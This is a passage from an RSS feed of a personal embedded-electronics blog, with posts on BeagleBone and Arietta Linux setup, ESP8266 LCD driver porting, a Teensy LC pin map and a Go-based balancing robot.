&lt;p&gt;Disable interface renaming:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd /etc/udev/rules.d; ln -sf /dev/null 70-persistent-net.rules
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note that you can&amp;rsquo;t just delete the file as systemd recreates it.&lt;/p&gt;
&lt;p&gt;Setup /etc/network/interfaces:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;allow-hotplug wlan0
iface wlan0 inet dhcp
    pre-up sleep 2
    pre-up rfkill unblock all
    wpa-ssid &amp;quot;your-ssid-here&amp;quot;
    wpa-psk  &amp;quot;your-password-here&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note that during the boot, systemd seems to randomly set the rfkill bit
which causes dhcpclient to show &amp;lsquo;300 byte&amp;rsquo; errors. The &lt;code&gt;sleep; unblock&lt;/code&gt;
hack works around this. sleep to work around race conditions FTW!&lt;/p&gt;
&lt;p&gt;Update the kernel:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd /opt/scripts/tools
git pull
apt-cache search linux-image bone
./update_kernel.sh --kernel 4.1.1-bone9
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&#34;enabling-ports&#34;&gt;Enabling ports&lt;/h2&gt;
&lt;p&gt;See &lt;a href=&#34;https://eewiki.net/display/linuxonarm/BeagleBone+Black&#34;&gt;https://eewiki.net/display/linuxonarm/BeagleBone+Black&lt;/a&gt; for building
the device tree overlays.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; echo BB-UART1 &amp;gt; /sys/devices/platform/bone_capemgr/slots
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The pinouts are at
&lt;a href=&#34;http://elinux.org/Beagleboard:Cape&#34;&gt;http://elinux.org/Beagleboard:Cape&lt;/a&gt;_Expansion_Headers#4.5_Serial_UARTs&lt;/p&gt;
&lt;h2 id=&#34;adafruit-18-display&#34;&gt;Adafruit 1.8&amp;rdquo; display&lt;/h2&gt;
&lt;p&gt;There seems to be probles with SPI on the 4.1 kernel and the 3.14 kernel
is missing the cape manager. 3.8 works fine though.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://github.com/notro/fbtft/wiki/LCD-Modules&#34;&gt;https://github.com/notro/fbtft/wiki/LCD-Modules&lt;/a&gt;#adafruit-18&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GND      1
VCC      2
RST      3 -&amp;gt; 15 (GPIO48)
DC       4 -&amp;gt; 23 (GPIO49)
CARD_CS  5
LCD_CS   6 -&amp;gt; 17
MOSI     7 -&amp;gt; 18
SCK      8 -&amp;gt; 22
MISO     9
LITE     10 -&amp;gt; VCC


echo BB-SPIDEV0 &amp;gt; /sys/devices/bone_capemgr*/slots
modprobe -f fb_st7735r
modprobe -f fbtft_device name=adafruit18 busnum=1 gpios=reset:48,dc:49
con2fbmap 1 1
&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>1.8″ LCD support for the ESP8266</title>
      <link>https://juju.nz/michaelh/2015/05/1-8-lcd-support-for-the-esp8266/</link>
      <pubDate>Sun, 17 May 2015 18:21:14 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2015/05/1-8-lcd-support-for-the-esp8266/</guid>
      <description>&lt;p&gt;I’ve ported the 
&lt;a href=&#34;http://www.adafruit.com/products/358&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Adafruit 1.8″ LCD&lt;/a&gt; 
&lt;a href=&#34;https://github.com/adafruit/Adafruit-ST7735-Library&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;driver&lt;/a&gt; to the new-ish 
&lt;a href=&#34;https://github.com/esp8266/Arduino&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Arduino ESP8266&lt;/a&gt; port and done an optimisation pass. Short story is that the demo that comes with the board is down from 6083 ms to 3424 ms, and big operations like fill screen is down from 1454 ms to 157 ms. Hurray for FIFOs and better bus utilisation!&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/05/IMG_20150517_191847.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;img src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/05/IMG_20150517_191847.jpg&#34; alt=&#34;IMG_20150517_191847&#34; width=&#34;2363&#34; height=&#34;2295&#34; class=&#34;aligncenter size-full wp-image-263&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I’m quite impressed with the Arduino port: the group have done a lot of work on the completeness, speed, and in porting the standard libraries like the SD FAT support I plan to use for logging.&lt;/p&gt;
&lt;p&gt;My goal is to restart my self driving RC car project with a 
&lt;a href=&#34;http://www.hobbyking.com/hobbyking/store/__55819__AfroFlight_Naze32_Acro_AbuseMark_FunFly_Controller.html&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;NAZE32&lt;/a&gt; as the controller board and an 
&lt;a href=&#34;https://olimex.com/Products/Modules/Ethernet/MOD-WIFI-ESP8266-DEV/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;ESP8266&lt;/a&gt; as logging, display, and telemetry. Let’s see how far I get this time 🙂&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Pin to native mapping for the Teensy LC</title>
      <link>https://juju.nz/michaelh/2015/05/pin-to-native-mapping-for-the-teensy-lc/</link>
      <pubDate>Sun, 03 May 2015 19:43:56 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2015/05/pin-to-native-mapping-for-the-teensy-lc/</guid>
      <description>&lt;p&gt;I’m hacking on porting 
&lt;a href=&#34;nuttx.org&#34;&gt;NuttX&lt;/a&gt; to the 
&lt;a href=&#34;https://www.pjrc.com/teensy/teensyLC.html&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Teensy LC&lt;/a&gt; instead of using PJRC’s excellent Arduino support. For reference, here’s the Arduino pin mapping to the native pin:&lt;/p&gt;
&lt;pre&gt;0 PTB16
1 PTB17
2 PTD0
3 PTA1
4 PTA2
5 PTD7
6 PTD4
7 PTD2
8 PTD3
9 PTC3
10 PTC4
11 PTC6
12 PTC7
13 PTC5
14 PTD1
15 PTC0
16 PTB0
17 PTB1
18 PTB3
19 PTB2
20 PTD5
21 PTD6
22 PTC1
23 PTC2
24 PTE20
25 PTE21
26 PTE30
&lt;/pre&gt;
&lt;p&gt;This was made by running 
&lt;a href=&#34;https://github.com/PaulStoffregen/cores/blob/master/teensy3/core_pins.h&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;core_pins.h&lt;/a&gt; through the C preprocessor.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Machines</title>
      <link>https://juju.nz/michaelh/note/machines/</link>
      <pubDate>Sun, 22 Mar 2015 00:00:00 +0000</pubDate>
      <guid>https://juju.nz/michaelh/note/machines/</guid>
      <description>&lt;h2 id=&#34;crucis&#34;&gt;crucis&lt;/h2&gt;
&lt;p&gt;Thinkpad R500 P8600 HD3470&lt;/p&gt;
&lt;p&gt;Uses PC3-8500 / DDR3-1066&lt;/p&gt;
&lt;h2 id=&#34;orion&#34;&gt;orion&lt;/h2&gt;
&lt;p&gt;ASUS 1215B&lt;/p&gt;
&lt;p&gt;Uses DDR3 PC3-10600 2 x SO-DIMM&lt;/p&gt;
&lt;h2 id=&#34;spare&#34;&gt;Spare&lt;/h2&gt;
&lt;p&gt;Kingston KVR800D2S5/2G: 2GB 256M x 64-Bit DDR2-800 CL5&lt;/p&gt;
&lt;p&gt;Elpida 1GB 2Rx16 RC2-6400S-666&lt;/p&gt;
&lt;p&gt;Broadcom BCM94231MC 802.11n.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Impressed with NodeMCU</title>
      <link>https://juju.nz/michaelh/2015/02/impressed-with-nodemcu/</link>
      <pubDate>Fri, 06 Feb 2015 19:34:25 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2015/02/impressed-with-nodemcu/</guid>
      <description>&lt;p&gt;
&lt;a href=&#34;http://nodemcu.com/index_en.html&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;NodeMcu&lt;/a&gt; is a Lua interpreter with a good set of support libraries for the far-too-cheap 
&lt;a href=&#34;https://www.olimex.com/Products/IoT/MOD-WIFI-ESP8266-DEV/#&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;ESP8266&lt;/a&gt;. I’m impressed with how easy it is to script up a Wifi connected thermometer using a 
&lt;a href=&#34;http://www.maximintegrated.com/en/products/analog/sensors-and-sensor-interface/DS18B20.html&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;DS18B20&lt;/a&gt; 1-wire thermometer, 
&lt;a href=&#34;http://mqtt.org/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;MQTT&lt;/a&gt; for publishing, and Wifi to a 
&lt;a href=&#34;http://wiki.openwrt.org/toh/tp-link/tl-mr3020&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;OpenWRT router&lt;/a&gt; for the transport.&lt;/p&gt;
&lt;p&gt;Have a look at the NodeMcu git repo for the 
&lt;a href=&#34;https://github.com/nodemcu/nodemcu-firmware/tree/master/app&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;bundled libraries&lt;/a&gt; which include a JSON parser, MQTT, spifs, and software based I2C, 1-wire, and PWM drivers.&lt;/p&gt;
&lt;p&gt;It’s very RAM hungry though. I had a hack and got it up to 25 k of free heap, but that’s only just enough for a single device and MQTT connection.&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/02/IMG_20150206_2036122.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;img src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/02/IMG_20150206_2036122-1024x827.jpg&#34; alt=&#34;IMG_20150206_203612~2&#34; width=&#34;584&#34; height=&#34;471&#34; class=&#34;aligncenter size-large wp-image-250&#34; srcset=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/02/IMG_20150206_2036122-1024x827.jpg 1024w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/02/IMG_20150206_2036122-300x242.jpg 300w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/02/IMG_20150206_2036122-371x300.jpg 371w&#34; sizes=&#34;(max-width: 584px) 100vw, 584px&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Fast-ish boot for the Arietta</title>
      <link>https://juju.nz/michaelh/2015/01/fast-ish-boot-for-the-arietta/</link>
      <pubDate>Thu, 22 Jan 2015 20:09:07 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2015/01/fast-ish-boot-for-the-arietta/</guid>
      <description>&lt;p&gt;A while ago I posted about cutting the ACME Arietta boot time down from ~30 s to ~4 s. Here’s the hacks I did to get there.&lt;/p&gt;
&lt;p&gt;After the kernel has finished initialising it runs ‘init’ which is responsible for setting up the system and starting any services. ‘init’ has the concept of runlevels including runlevel S (initial startup), runlevel 2 (normal operation) and runlevel 6 (reboot). You can configure what init does when it enters a runlevel, including changing it from running a bunch of generic scripts to running a single, specific, and much faster script.&lt;/p&gt;
&lt;p&gt;So that’s the trick: change init from executing all of the scripts in &lt;code&gt;/etc/rc2.d/&lt;/code&gt; and instead have it run your own &lt;code&gt;/etc/init.d/rc2&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The first step is to change the init config file &lt;code&gt;/etc/inittab&lt;/code&gt;. As a diff:&lt;/p&gt;
&lt;pre&gt;-l2:2:wait:/etc/init.d/rc 2
+l2:2:wait:/etc/init.d/rc2
&lt;/pre&gt;
&lt;p&gt;Then create a file holding helper functions, including a log function that’s useful when timing individual steps:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/etc/init.d/rc.common&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;PATH=/sbin:/usr/sbin:/bin:/usr/bin
export PATH

umask 022

start() {
        echo &#34;+ $@...&#34;
        $@
}
&lt;/pre&gt;
&lt;p&gt;Overwrite the initial startup script &lt;code&gt;/etc/init.d/rcS&lt;/code&gt; with:&lt;/p&gt;
&lt;pre&gt;#!/bin/busybox sh

. /etc/init.d/rc.common

start mount -t proc /proc /proc
start mount -t sysfs /sys /sys
start mount -o remount,rw /
start mount -t tmpfs none /run
mkdir -p /run/network /run/lock

start mount -a
start hostname $(cat /etc/hostname)

#start /etc/init.d/udev start
echo &gt; /sys/kernel/uevent_helper
start udevd --daemon
start udevadm trigger --action=add
start udevadm settle --timeout=0

# PENDING: Load modules.
# PENDING: sysctl
# PENDING: urandom

start ifconfig lo 127.0.0.1 netmask 255.0.0.0 up
&lt;/pre&gt;
&lt;p&gt;and finally create &lt;code&gt;/etc/init.d/rc2&lt;/code&gt; to start your services and perhaps application:&lt;/p&gt;
&lt;pre&gt;#!/bin/busybox sh

. /etc/init.d/rc.common

make_mac() {
    echo 00$(echo $HOSTNAME $@ | md5sum | cut -b -10)
}

# Ethernet
start modprobe g_ether use_eem=0 dev_addr=$(make_mac dev) host_addr=$(make_mac host)
start ifconfig usb0 192.168.10.10 netmask 255.255.255.0 up

# OpenSSH
mkdir -p /var/run/sshd
chmod 0755 /var/run/sshd
start /usr/sbin/sshd

# Finished!
echo uptime: `cat /proc/uptime`
&lt;/pre&gt;
&lt;p&gt;Make sure the files are executable (&lt;code&gt;chmod +x ...&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;The make_mac() function is used to give the USB ethernet gadget a fixed MAC address instead of generating a random one at each boot. This makes setting a static IP address in Chrome OS easier.&lt;/p&gt;
&lt;p&gt;Note that I’m using busybox as the shell. It’s really small so should be quick to load and run. Run &lt;tt&gt;sudo apt-get install busybox&lt;/tt&gt; to get it.&lt;/p&gt;
&lt;p&gt;Fiddling with init scripts is a good way to break the boot. The easiest way to fix a problem is to put the SD card into your laptop and edit the files directly.&lt;/p&gt;
&lt;p&gt;Click 
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/01/arietta-faster-boot.tar.gz&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;here&lt;/a&gt; for a tarball of the files.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Serial to Wifi board hacking</title>
      <link>https://juju.nz/michaelh/2014/12/serial-to-wifi-board-hacking/</link>
      <pubDate>Thu, 11 Dec 2014 21:15:14 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2014/12/serial-to-wifi-board-hacking/</guid>
      <description>&lt;p&gt;I’m having fun with my Olimex 
&lt;a href=&#34;https://github.com/esp8266/esp8266-wiki/wiki&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;ESP8266&lt;/a&gt; 
&lt;a href=&#34;https://www.olimex.com/Products/Modules/Ethernet/MOD-WIFI-ESP8266-DEV&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;dev board&lt;/a&gt;. For ~5 Euro you get a 80 MHz processor, built in Wifi, a bunch of I/O, and “IoT” style libraries with a RTOS. This is the same chip that’s used on the 
&lt;a href=&#34;http://hackaday.com/tag/esp8266/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;serial to Wifi boards&lt;/a&gt; but with all of the I/O broken out. I especially like how they use half-holes on the edges to also make it PCB mountable.&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/12/IMG_20141211_215858.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;img src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/12/IMG_20141211_215858-1024x768.jpg&#34; alt=&#34;IMG_20141211_215858&#34; width=&#34;584&#34; height=&#34;438&#34; class=&#34;aligncenter size-large wp-image-230&#34; srcset=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/12/IMG_20141211_215858-1024x768.jpg 1024w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/12/IMG_20141211_215858-300x225.jpg 300w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/12/IMG_20141211_215858-400x300.jpg 400w&#34; sizes=&#34;(max-width: 584px) 100vw, 584px&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;So far I’ve only built the community run 
&lt;a href=&#34;https://github.com/esp8266/esp8266-wiki/wiki/Toolchain&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;toolchain&lt;/a&gt; and loaded the blinky example onto it. The photo shows the boot mode switch, FTDI serial interface, and cables off to the 3.3 V supply.&lt;/p&gt;
&lt;p&gt;Next step is to turn the LED on and off from a web form.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Citizen</title>
      <link>https://juju.nz/michaelh/project/citizen/</link>
      <pubDate>Sun, 02 Nov 2014 00:00:00 +0000</pubDate>
      <guid>https://juju.nz/michaelh/project/citizen/</guid>
      <description>&lt;p&gt;A balancing robot written in Go and running on ARM Linux.&lt;/p&gt;
&lt;h2 id=&#34;mod-list&#34;&gt;Mod list&lt;/h2&gt;
&lt;p&gt;Changes to make:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Move the gyro down between the wheels. Reduces the acceleration seen
due to falling.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;other-robots&#34;&gt;Other robots&lt;/h2&gt;
&lt;p&gt;There&amp;rsquo;s a ton out there.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;lil-bot uses the same motors (MG-6-48) but with encoders. 7xAA so
8.4 V to 10.5 V. 100 Hz control loop. MPU-6050 with 2 %
complementary filter. Has a err**2 term as well.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;v1&#34;&gt;v1&lt;/h2&gt;
&lt;p&gt;v1 can balance but poorly. The big differences were:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Better pitch measurement through a complementary filter. Gives the
absolutes of the accelerometers and noise rejection of the gyros.&lt;/li&gt;
&lt;li&gt;Integral control to respond quicker to small offsets.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Things I also changed:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PWM rate up to 10 kHz&lt;/li&gt;
&lt;li&gt;Control loop up to 100 Hz&lt;/li&gt;
&lt;li&gt;Gyro bias removal. The gyro had a 0.34 deg/s bias.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Things to check:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The gyro scale might be wrong and might be over reporting the angle.&lt;/li&gt;
&lt;li&gt;The deadband on the motors is quite bad and is probably hurting the
small tilt response. I might be able to kick the motors to start
things turning then return to the demanded speed.&lt;/li&gt;
&lt;li&gt;Is the gyro saturating?&lt;/li&gt;
&lt;li&gt;I2C speed&lt;/li&gt;
&lt;li&gt;Add voltage compensation?&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;v0&#34;&gt;v0&lt;/h2&gt;
&lt;p&gt;v0 is done but doesn&amp;rsquo;t really work. Issues:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The motors have a high deadband and are too high speed.&lt;/li&gt;
&lt;li&gt;The pitch is based off the accelerometers only and seems very noisy.&lt;/li&gt;
&lt;li&gt;The motors are independant, so at low drive sometimes one will start
and the other stay still.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Next steps:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Measure the CPU load&lt;/li&gt;
&lt;li&gt;Measure the pitch while standing upright and steady&lt;/li&gt;
&lt;li&gt;Investigate complementry filters to combine the gyro and
accelerometers&lt;/li&gt;
&lt;li&gt;Investigate the IMUs advanced features to see if it already gives a
good pitch&lt;/li&gt;
&lt;li&gt;Profile the motors to see if I can lower the deadband (dither?)&lt;/li&gt;
&lt;li&gt;Check I2C rate is 100 kHz or higher.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Notes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The 20 ms timer fires at ~16 ms and ~24 ms. HZ is 128. Turn on TCB
as a clock source, switch to low latency, switch to tickless.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;IMU has:&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;DLPF, a low pass filter. Use to filter accelerometers?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Default accelerometer range is +-2G (as the default reading is
~16000)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>golang and realtime musings</title>
      <link>https://juju.nz/michaelh/2014/10/golang-and-realtime-musings/</link>
      <pubDate>Sun, 19 Oct 2014 18:23:21 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2014/10/golang-and-realtime-musings/</guid>
      <description>&lt;p&gt;I’m using 
&lt;a href=&#34;http://golang.org/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;golang&lt;/a&gt; as the language for my self balancing robot project. It should be interesting as golang is designed for server loads, not for realtime, but the bot will need to update at 100 Hz (10 ms/cycle) to say upright.&lt;/p&gt;
&lt;p&gt;I had a look at 
&lt;a href=&#34;http://golang.org/doc/install/source&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;the source&lt;/a&gt; and there’s a few issues:&lt;/p&gt;
&lt;p&gt;No priorities. The fast control loop should take priority but goroutines are cooperative, have no concept of priority, and are multiplexed onto threads in undefined ways.&lt;/p&gt;
&lt;p&gt;The timers are fired from one thread. Ideally timers should have priority and smear, so the control timer can fire first and any other timers can run at roughly the right time when the CPU has gone idle.&lt;/p&gt;
&lt;p&gt;The garbage collector is stop world. It’d be nice if the control thread had its own GC pool. Not going overboard with short lived objects should keep this under control.&lt;/p&gt;
&lt;p&gt;The next step is to measure see if any of this is a problem. I plan to have the control loop set a pin on entry and clear it on exit, and then use a 
&lt;a href=&#34;http://www.atmel.com/devices/attiny85.aspx&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;ATTINY&lt;/a&gt; as a timer to measure the start and runtime jitter.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Balancing robot first steps</title>
      <link>https://juju.nz/michaelh/2014/09/balancing-robot-first-steps/</link>
      <pubDate>Sun, 21 Sep 2014 18:01:47 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2014/09/balancing-robot-first-steps/</guid>
      <description>&lt;p&gt;I’m working on a self balancing robot as a &lt;em&gt;coming-into-winter-something-inside-sounds-good&lt;/em&gt; project. Today I got it 
&lt;a href=&#34;http://youtu.be/AO2-zbcM4jQ&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;driving about&lt;/a&gt;: not balancing, not smart, but still a good milestone.&lt;/p&gt;
&lt;p&gt;It’s been a lot of fun due to the different tech involved. The body is laser cut acrylic with finger joints to join the base to the motor plates. The controller is a 
&lt;a href=&#34;http://www.acmesystems.it/arietta&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Arietta&lt;/a&gt; 400 MHz ARM9 running Debian. The motors are some cheap DC motors/gearbox/wheel combos from Olimex. The motor controller is a L298. The ‘up’ sensor is a six axis MPU6050 giving gyros and accelerometers.&lt;/p&gt;
&lt;p&gt;It’s definitely a v1. I want to redo the frame to be much narrower and taller giving a more ‘upright’ shape. I might build a PCB instead of veroboard to shrink the whole design.&lt;/p&gt;
&lt;p&gt;The current hard problem is the supply. I need 5V to drive the USB Wifi adapter so I’m considering changing the 6V 4x AA battery pack for a 7.4 V 2S LiPo. It’s a better size and is a high enough voltage that I can put a 5 V linear regulator and have both the motor and control from the same battery.&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/09/IMG_20140921_154022.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;img src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/09/IMG_20140921_154022-1024x768.jpg&#34; alt=&#34;Robot main view&#34; width=&#34;584&#34; height=&#34;438&#34; class=&#34;aligncenter size-large wp-image-212&#34; srcset=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/09/IMG_20140921_154022-1024x768.jpg 1024w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/09/IMG_20140921_154022-300x225.jpg 300w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/09/IMG_20140921_154022-400x300.jpg 400w&#34; sizes=&#34;(max-width: 584px) 100vw, 584px&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/09/IMG_20140921_154037.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;img src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/09/IMG_20140921_154037-1024x768.jpg&#34; alt=&#34;Robot main view alternate&#34; width=&#34;584&#34; height=&#34;438&#34; class=&#34;aligncenter size-large wp-image-211&#34; srcset=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/09/IMG_20140921_154037-1024x768.jpg 1024w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/09/IMG_20140921_154037-300x225.jpg 300w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/09/IMG_20140921_154037-400x300.jpg 400w&#34; sizes=&#34;(max-width: 584px) 100vw, 584px&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Mini Xplus as a Server</title>
      <link>https://juju.nz/michaelh/note/xplusserver/</link>
      <pubDate>Sun, 24 Aug 2014 00:00:00 +0000</pubDate>
      <guid>https://juju.nz/michaelh/note/xplusserver/</guid>
      <description>&lt;p&gt;Random, incomplete notes on using a 
&lt;a href=&#34;https://www.miniand.com/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Miniand
Tech&lt;/a&gt; 
&lt;a href=&#34;https://www.miniand.com/products/Mini%C2%A0Xplus%20TV%20Box%20H24&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Mini Xplus
H24&lt;/a&gt;
as a server machine.&lt;/p&gt;
&lt;h2 id=&#34;v2&#34;&gt;v2&lt;/h2&gt;
&lt;p&gt;I&amp;rsquo;ve soldered up a serial port so doing things from scratch is much
easier.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ sudo cp -a hwpack/rootfs/* /media/removable/rootfs/

sun4i# set extraargs init=/bin/sh
sun4i# run bootcmd

# rm -rf /var/run
# ./debootstrap/debootstrap --second-stage
# passwd
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&#34;v1&#34;&gt;v1&lt;/h2&gt;
&lt;p&gt;Start with the Lubuntu image:
&lt;a href=&#34;https://www.miniand.com/forums/forums/2/topics/1&#34;&gt;https://www.miniand.com/forums/forums/2/topics/1&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I used
&lt;a href=&#34;http://dl.miniand.com/allwinnera10/ubuntu/lubuntu-desktop-12.04-4-720p-512MB-miniand.com.img.7z&#34;&gt;http://dl.miniand.com/allwinnera10/ubuntu/lubuntu-desktop-12.04-4-720p-512MB-miniand.com.img.7z&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Turns out my board has 1 GB and the board probed for it just fine.&lt;/p&gt;
&lt;p&gt;Writing the image to an SD card gives a boot and rootfs partition
similar to the OMAP series. The bootfs has a binary file and kernel
image.&lt;/p&gt;
&lt;p&gt;I don&amp;rsquo;t have a keyboard. Fix the wifi interface by editing
&lt;code&gt;/etc/network/interfaces&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;auto wlan0
iface wlan0 inet dhcp
        wpa-ssid &amp;quot;your network name&amp;quot;
        wpa-psk your-network-key
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The board doesn&amp;rsquo;t seem to register the hostname with the DHCP server.
mDNS works though.&lt;/p&gt;
&lt;p&gt;The Lubuntu image is armel based. The hard float armhf Precise image
should be much faster for floating point workloads as the A8 takes some
time to shift values back and forth between the core and VFP unit.&lt;/p&gt;
&lt;p&gt;Grab the modules from &lt;code&gt;/lib/modules&lt;/code&gt;. kpartx is your friend.&lt;/p&gt;
&lt;p&gt;Grab the most recent Precise release. I used
&lt;a href=&#34;http://cdimage.ubuntu.com/releases/precise/release/ubuntu-12.04-preinstalled-server-armhf+omap4.img.gz&#34;&gt;http://cdimage.ubuntu.com/releases/precise/release/ubuntu-12.04-preinstalled-server-armhf+omap4.img.gz&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;gunzip, &lt;code&gt;mkfs.ext4 -L rootfs -m 0.5 /dev/sdc2&lt;/code&gt;, and tar across to the SD
card.&lt;/p&gt;
&lt;p&gt;Set a password for root by editing &lt;code&gt;/etc/shadow&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Use QEMU to boot and &lt;code&gt;apt-get install wireless-tools wpasupplicant openssh-server&lt;/code&gt;. &lt;code&gt;adduser your-name&lt;/code&gt;. &lt;code&gt;adduser your-name sudo&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;You can now boot and login.&lt;/p&gt;
&lt;p&gt;Set the default locale in &lt;code&gt;/etc/default/locale&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;LANG=C
LANGUAGE=C
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Add universe to &lt;code&gt;/etc/apt/sources.list&lt;/code&gt;. Toast
/var/lib/preinstalled-pool/.&lt;/p&gt;
</description>
    </item>
    
